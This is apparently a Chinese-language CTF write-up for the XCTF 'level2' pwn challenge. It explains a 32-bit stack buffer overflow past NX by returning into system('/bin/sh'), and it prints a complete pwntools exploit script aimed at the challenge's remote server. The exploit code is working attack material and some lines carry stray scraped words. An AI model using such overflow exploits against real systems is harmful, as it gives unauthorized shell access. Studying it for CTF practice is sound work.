day-7 xctf-level2

xctf-level2

題目傳送門:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5055shell

拿到題目,查看一下相關信息:32位,開啓了NXbash

 

 

 

放入ida查看:ide

 

 

 代碼比較簡單,進入vulnerable_function()查看,程序的功能是輸入一段文字,顯示Hello World!函數

 

 

 

 咱們能夠經過read函數,溢出到callsystem的位置,執行ststem('/bash/sh'),拿到shell權限spa

唔,這裏附帶一個連接知識:http://www.javashuo.com/article/p-chdbaiyn-nq.html.net

咱們能夠知道,payload = 'a' * (offset + 4) + sys_addr + ret_add + sh_addrdebug

根據這個公式,offset爲88,咱們只爲了取得shell,ret_add隨便寫就好了,須要找到sys_addr和sh_addr的地址code

查找知識,看到這個尋找的方法:blog

sys_addr = elf.symbols['system']

sh_addr = elf.search('/bin/sh').next()

這樣就能夠寫exp了:utf-8

# -*- coding:utf-8 -*-

from pwn import *

context.log_level = 'debug'

#cnn = process('./level2')
cnn = remote('111.198.29.45',52271)

elf = ELF('./level2')

system_addr = elf.symbols['system']

binsh_addr = elf.search('/bin/sh').next()

payload = 'a'*0x88+'a'*0x4 + p32(system_addr) + p32(4) + p32(binsh_addr)


cnn.sendlineafter('Input:',payload)

cnn.interactive()
exp

經過ls命令,而後cat flag就能得到flag

 

 

 

 

總結:推薦一波小知識:http://www.javashuo.com/article/p-chdbaiyn-nq.html

// 僞代碼
 A(int arg_a1,int arg_a2)
 B(int arg_b1,int arg_b2,int arg_b3)
 C(int arg_c1,int arg_c2)
-------------------------------------
// B的壓棧流程
 ---> ESP                                
        buf[128]                  
        EBP                       
        return                        //-->fake_addr_A
        arg_b1                        //-->4006b0  addr_pop_pop_ret
        arg_b2  arg_a1         //pop r14 
        arg_b3    arg_a2       //pop r15
        ret                           // --->fake_addr_C
        0                                 // --->C的返回地址,如今沒用了
        arg_c1
        arg_c2
  -->EBP
NX利用結構
相關文章
相關標籤/搜索